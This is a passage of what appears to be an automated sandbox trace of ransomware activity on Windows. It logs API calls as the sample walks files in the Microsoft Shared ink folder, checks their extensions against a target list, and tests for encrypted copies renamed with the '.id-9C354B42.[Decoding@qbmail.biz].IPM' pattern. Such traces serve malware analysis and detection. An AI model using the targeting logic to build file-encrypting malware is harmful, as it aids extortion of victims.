returned 1 [0078.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.464] lstrlenW (lpString=".1cd") returned 4 [0078.464] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0078.464] lstrlenW (lpString=".jpg") returned 4 [0078.464] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.464] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.464] lstrlenW (lpString="base_jpn.xml") returned 12 [0078.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.780] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=804) returned 1 [0078.780] CloseHandle (hObject=0x1bc) returned 1 [0078.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0078.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.781] lstrlenW (lpString=".doc") returned 4 [0078.781] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.781] lstrlenW (lpString=".docx") returned 5 [0078.781] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0078.781] lstrlenW (lpString=".pdf") returned 4 [0078.781] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.781] lstrlenW (lpString=".xls") returned 4 [0078.781] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.781] lstrlenW (lpString=".xlsx") returned 5 [0078.781] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0078.782] lstrlenW (lpString=".ppt") returned 4 [0078.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.782] lstrlenW (lpString=".zip") returned 4 [0078.782] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.782] lstrlenW (lpString=".rar") returned 4 [0078.782] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.782] lstrlenW (lpString=".bz2") returned 4 [0078.782] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.782] lstrlenW (lpString=".7z") returned 3 [0078.782] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.782] lstrlenW (lpString=".dbf") returned 4 [0078.782] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.782] lstrlenW (lpString=".1cd") returned 4 [0078.782] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.782] lstrlenW (lpString=".jpg") returned 4 [0078.782] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.783] lstrlenW (lpString=".doc") returned 4 [0078.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.783] lstrlenW (lpString=".docx") returned 5 [0078.783] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0078.783] lstrlenW (lpString=".pdf") returned 4 [0078.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.783] lstrlenW (lpString=".xls") returned 4 [0078.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.783] lstrlenW (lpString=".xlsx") returned 5 [0078.783] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0078.783] lstrlenW (lpString=".ppt") returned 4 [0078.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.783] lstrlenW (lpString=".zip") returned 4 [0078.784] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.784] lstrlenW (lpString=".rar") returned 4 [0078.784] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.784] lstrlenW (lpString=".bz2") returned 4 [0078.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.784] lstrlenW (lpString=".7z") returned 3 [0078.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.784] lstrlenW (lpString=".dbf") returned 4 [0078.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.784] lstrlenW (lpString=".1cd") returned 4 [0078.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0078.784] lstrlenW (lpString=".jpg") returned 4 [0078.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.785] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.785] lstrlenW (lpString="base_kor.xml") returned 12 [0078.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.786] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=488) returned 1 [0078.787] CloseHandle (hObject=0x1bc) returned 1 [0078.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0078.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.787] lstrlenW (lpString=".doc") returned 4 [0078.787] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.787] lstrlenW (lpString=".docx") returned 5 [0078.787] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0078.787] lstrlenW (lpString=".pdf") returned 4 [0078.788] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.788] lstrlenW (lpString=".xls") returned 4 [0078.788] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.788] lstrlenW (lpString=".xlsx") returned 5 [0078.788] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0078.788] lstrlenW (lpString=".ppt") returned 4 [0078.788] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.788] lstrlenW (lpString=".zip") returned 4 [0078.788] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.788] lstrlenW (lpString=".rar") returned 4 [0078.788] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.788] lstrlenW (lpString=".bz2") returned 4 [0078.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.788] lstrlenW (lpString=".7z") returned 3 [0078.788] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.788] lstrlenW (lpString=".dbf") returned 4 [0078.789] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.789] lstrlenW (lpString=".1cd") returned 4 [0078.789] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.789] lstrlenW (lpString=".jpg") returned 4 [0078.789] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.789] lstrlenW (lpString=".doc") returned 4 [0078.789] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.789] lstrlenW (lpString=".docx") returned 5 [0078.789] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0078.789] lstrlenW (lpString=".pdf") returned 4 [0078.789] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.789] lstrlenW (lpString=".xls") returned 4 [0078.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString=".xlsx") returned 5 [0078.790] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0078.790] lstrlenW (lpString=".ppt") returned 4 [0078.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.790] lstrlenW (lpString=".zip") returned 4 [0078.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.790] lstrlenW (lpString=".rar") returned 4 [0078.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString=".bz2") returned 4 [0078.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString=".7z") returned 3 [0078.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.790] lstrlenW (lpString=".dbf") returned 4 [0078.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.790] lstrlenW (lpString=".1cd") returned 4 [0078.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0078.791] lstrlenW (lpString=".jpg") returned 4 [0078.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.791] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.791] lstrlenW (lpString="base_rtl.xml") returned 12 [0078.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.791] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=617) returned 1 [0078.792] CloseHandle (hObject=0x1bc) returned 1 [0078.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0078.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.792] lstrlenW (lpString=".doc") returned 4 [0078.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.792] lstrlenW (lpString=".docx") returned 5 [0078.792] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0078.792] lstrlenW (lpString=".pdf") returned 4 [0078.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.793] lstrlenW (lpString=".xls") returned 4 [0078.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.793] lstrlenW (lpString=".xlsx") returned 5 [0078.793] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0078.793] lstrlenW (lpString=".ppt") returned 4 [0078.793] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.793] lstrlenW (lpString=".zip") returned 4 [0078.793] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.793] lstrlenW (lpString=".rar") returned 4 [0078.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.793] lstrlenW (lpString=".bz2") returned 4 [0078.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.793] lstrlenW (lpString=".7z") returned 3 [0078.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.793] lstrlenW (lpString=".dbf") returned 4 [0078.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.794] lstrlenW (lpString=".1cd") returned 4 [0078.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.794] lstrlenW (lpString=".jpg") returned 4 [0078.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.794] lstrlenW (lpString=".doc") returned 4 [0078.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.794] lstrlenW (lpString=".docx") returned 5 [0078.794] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0078.794] lstrlenW (lpString=".pdf") returned 4 [0078.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.795] lstrlenW (lpString=".xls") returned 4 [0078.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.795] lstrlenW (lpString=".xlsx") returned 5 [0078.795] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0078.795] lstrlenW (lpString=".ppt") returned 4 [0078.796] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.796] lstrlenW (lpString=".zip") returned 4 [0078.796] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.796] lstrlenW (lpString=".rar") returned 4 [0078.796] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.796] lstrlenW (lpString=".bz2") returned 4 [0078.796] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.796] lstrlenW (lpString=".7z") returned 3 [0078.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.796] lstrlenW (lpString=".dbf") returned 4 [0078.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.796] lstrlenW (lpString=".1cd") returned 4 [0078.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0078.797] lstrlenW (lpString=".jpg") returned 4 [0078.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.797] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.797] lstrlenW (lpString="ja-jp.xml") returned 9 [0078.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.799] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=16616) returned 1 [0078.799] CloseHandle (hObject=0x1bc) returned 1 [0078.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0078.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.800] lstrlenW (lpString=".doc") returned 4 [0078.800] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.800] lstrlenW (lpString=".docx") returned 5 [0078.800] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0078.800] lstrlenW (lpString=".pdf") returned 4 [0078.800] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.800] lstrlenW (lpString=".xls") returned 4 [0078.800] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.800] lstrlenW (lpString=".xlsx") returned 5 [0078.800] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0078.800] lstrlenW (lpString=".ppt") returned 4 [0078.800] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.800] lstrlenW (lpString=".zip") returned 4 [0078.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.800] lstrlenW (lpString=".rar") returned 4 [0078.801] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.801] lstrlenW (lpString=".bz2") returned 4 [0078.801] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.801] lstrlenW (lpString=".7z") returned 3 [0078.801] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.801] lstrlenW (lpString=".dbf") returned 4 [0078.801] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.801] lstrlenW (lpString=".1cd") returned 4 [0078.801] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.801] lstrlenW (lpString=".jpg") returned 4 [0078.801] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.802] lstrlenW (lpString=".doc") returned 4 [0078.802] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.802] lstrlenW (lpString=".docx") returned 5 [0078.802] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0078.802] lstrlenW (lpString=".pdf") returned 4 [0078.802] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.802] lstrlenW (lpString=".xls") returned 4 [0078.802] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.802] lstrlenW (lpString=".xlsx") returned 5 [0078.802] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0078.802] lstrlenW (lpString=".ppt") returned 4 [0078.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.802] lstrlenW (lpString=".zip") returned 4 [0078.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.803] lstrlenW (lpString=".rar") returned 4 [0078.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.803] lstrlenW (lpString=".bz2") returned 4 [0078.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.803] lstrlenW (lpString=".7z") returned 3 [0078.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.803] lstrlenW (lpString=".dbf") returned 4 [0078.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.803] lstrlenW (lpString=".1cd") returned 4 [0078.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0078.803] lstrlenW (lpString=".jpg") returned 4 [0078.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.804] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.804] lstrlenW (lpString="ko-kr.xml") returned 9 [0078.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.804] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=15097) returned 1 [0078.804] CloseHandle (hObject=0x1bc) returned 1 [0078.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0078.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft 